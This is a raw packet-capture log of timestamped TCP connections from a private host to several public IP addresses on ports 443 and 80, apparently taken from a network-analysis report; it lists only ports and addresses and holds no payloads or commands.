Mar 15, 2024 13:58:07.810463905 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.810487986 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.810558081 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.810606956 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.810615063 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.817269087 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.817356110 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.817364931 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.820261955 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.820341110 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.820350885 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.826585054 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.826647997 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.826662064 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.832756042 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.832825899 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.832847118 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.875399113 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.897515059 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.900317907 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.900401115 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.900413990 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.900433064 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.900485992 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.906563997 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.912723064 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.912774086 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.912803888 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.912833929 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.912890911 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.918720961 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.924843073 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.924896955 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.924915075 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.924921036 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.925090075 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.925096035 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.931042910 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.931111097 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.931117058 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.937102079 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.937158108 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.937165976 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.942668915 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.942737103 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.942749023 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.948236942 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.948364019 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.948370934 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.953860044 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.953912020 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.953918934 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.960438967 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.960491896 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.960498095 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.967840910 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.967897892 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.967897892 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.967916012 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.967971087 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.968023062 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.968166113 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.968175888 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.968194008 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.968251944 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.968251944 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:09.023395061 CET	49682	80	192.168.2.17	192.229.211.108
Mar 15, 2024 13:58:10.184403896 CET	49680	443	192.168.2.17	20.189.173.13
Mar 15, 2024 13:58:13.137723923 CET	49753	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.137754917 CET	443	49753	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.137845993 CET	49753	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.138145924 CET	49753	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.138165951 CET	443	49753	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.331902027 CET	443	49753	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.332439899 CET	49753	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.332457066 CET	443	49753	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.333084106 CET	443	49753	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.333587885 CET	49753	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.333664894 CET	443	49753	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.334062099 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.334103107 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.334187031 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.334196091 CET	49753	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.334222078 CET	49753	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.334286928 CET	443	49753	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.334547043 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.334564924 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.531461954 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.531804085 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.531826973 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.533235073 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.533715963 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.533901930 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.533901930 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.533904076 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.534015894 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.537723064 CET	443	49753	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.537795067 CET	443	49753	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.537849903 CET	443	49753	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.537857056 CET	49753	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.537873030 CET	443	49753	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.537920952 CET	49753	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.537934065 CET	443	49753	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.543450117 CET	443	49753	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.543551922 CET	49753	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.543725014 CET	49753	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.543741941 CET	443	49753	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.546307087 CET	49755	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:13.546391010 CET	443	49755	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:13.546545982 CET	49755	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:13.546808004 CET	49755	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:13.546837091 CET	443	49755	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:13.586396933 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.733033895 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.733633995 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.733705044 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.733721018 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.733866930 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.733922005 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.733930111 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.734044075 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.734110117 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.734117031 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.736440897 CET	443	49755	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:13.736869097 CET	49755	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:13.736947060 CET	443	49755	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:13.737672091 CET	443	49755	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:13.738130093 CET	49755	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:13.738290071 CET	443	49755	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:13.738326073 CET	49755	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:13.739866972 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.739948988 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.739957094 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.746073008 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.746153116 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.746160984 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.751790047 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.751867056 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.751873970 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.780247927 CET	443	49755	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:13.792362928 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.792373896 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.792386055 CET	49755	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:13.822336912 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.822406054 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.822416067 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.825432062 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.825494051 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.825503111 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.831765890 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.831836939 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.831844091 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.838125944 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.838195086 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.838453054 CET	49754	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:13.838469028 CET	443	49754	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:13.841696024 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:13.841722012 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:13.841830969 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:13.842116117 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:13.842134953 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:13.942090034 CET	443	49755	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:13.942164898 CET	443	49755	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:13.942229986 CET	49755	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:13.942260981 CET	443	49755	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:13.942348957 CET	443	49755	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:13.942413092 CET	49755	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:13.942917109 CET	49755	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:13.942945004 CET	443	49755	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.039992094 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.040369034 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:14.040386915 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.041821003 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.042227030 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:14.042397976 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:14.042402983 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.042426109 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.092387915 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:14.241149902 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.241924047 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.241987944 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:14.242005110 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.242080927 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.242124081 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:14.242130995 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.247771025 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.247834921 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:14.247842073 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.250878096 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.250936985 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:14.250943899 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.257627964 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.257682085 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:14.257689953 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.263139963 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.263195038 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:14.263201952 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.316389084 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:14.328896046 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.331732988 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.331794977 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:14.331804037 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.338006020 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.338046074 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.338068962 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:14.338078022 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.338119984 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:14.343875885 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.343959093 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.344013929 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:14.344019890 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.349984884 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.350049973 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:14.350181103 CET	49756	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:14.350198984 CET	443	49756	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:14.427598953 CET	49694	80	192.168.2.17	72.21.81.240
Mar 15, 2024 13:58:14.428433895 CET	49695	80	192.168.2.17	72.21.81.240
Mar 15, 2024 13:58:14.515440941 CET	80	49694	72.21.81.240	192.168.2.17
Mar 15, 2024 13:58:14.515505075 CET	49694	80	192.168.2.17	72.21.81.240
Mar 15, 2024 13:58:14.515619993 CET	80	49695	72.21.81.240	192.168.2.17
Mar 15, 2024 13:58:14.515675068 CET	49695	80	192.168.2.17	72.21.81.240
Mar 15, 2024 13:58:17.914972067 CET	49757	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:17.915055037 CET	443	49757	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:17.915184975 CET	49757	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:17.915412903 CET	49757	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:17.915446043 CET	443	49757	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.113518000 CET	443	49757	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.113832951 CET	49757	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.113862038 CET	443	49757	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.114511013 CET	443	49757	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.114816904 CET	49757	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.115029097 CET	443	49757	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.115228891 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.115264893 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.115328074 CET	49757	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.115360022 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.115492105 CET	49757	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.115534067 CET	443	49757	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.115554094 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.115566015 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.317241907 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.317544937 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.317565918 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.317632914 CET	443	49757	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.317842960 CET	443	49757	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.317898989 CET	49757	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.317925930 CET	443	49757	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.318042994 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.318131924 CET	443	49757	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.318180084 CET	49757	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.318198919 CET	443	49757	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.318691015 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.318790913 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.319211006 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.319211006 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.319236040 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.320338011 CET	443	49757	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.320409060 CET	49757	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.320422888 CET	443	49757	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.322947979 CET	443	49757	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.323020935 CET	49757	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.323088884 CET	49757	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.323112965 CET	443	49757	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.325413942 CET	49759	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:18.325459003 CET	443	49759	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:18.325536013 CET	49759	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:18.325747013 CET	49759	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:18.325767040 CET	443	49759	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:18.485748053 CET	49693	80	192.168.2.17	72.21.81.240
Mar 15, 2024 13:58:18.523859978 CET	443	49759	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:18.523936033 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.524118900 CET	49759	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:18.524131060 CET	443	49759	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:18.524559021 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.524615049 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.524632931 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.524715900 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.524764061 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.524771929 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.525465012 CET	443	49759	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:18.525837898 CET	49759	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:18.525911093 CET	443	49759	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:18.526000977 CET	49759	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:18.531676054 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.531853914 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.531864882 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.534909010 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.534972906 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.534980059 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.541407108 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.541479111 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.541496992 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.547786951 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.547848940 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.547863007 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.568273067 CET	443	49759	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:18.573146105 CET	80	49693	72.21.81.240	192.168.2.17
Mar 15, 2024 13:58:18.573314905 CET	49693	80	192.168.2.17	72.21.81.240
Mar 15, 2024 13:58:18.596385002 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.614461899 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.617695093 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.617851019 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.617858887 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.624106884 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.624159098 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.624166012 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.628379107 CET	49682	80	192.168.2.17	192.229.211.108
Mar 15, 2024 13:58:18.630289078 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.630356073 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.630363941 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.636610985 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.636671066 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.636677027 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.642971992 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.643042088 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.643048048 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.649245024 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.649306059 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.649312019 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.655642033 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.655699968 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.655705929 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.661670923 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.661725998 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.661736012 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.667002916 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.667062998 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.667068958 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.672784090 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.672849894 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.672856092 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.679191113 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.679243088 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.679251909 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.684254885 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.684307098 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.684314013 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.687221050 CET	443	49758	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:18.687275887 CET	49758	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:18.687283993 CET	443	49758	142.250.65.164	192.168.2.17
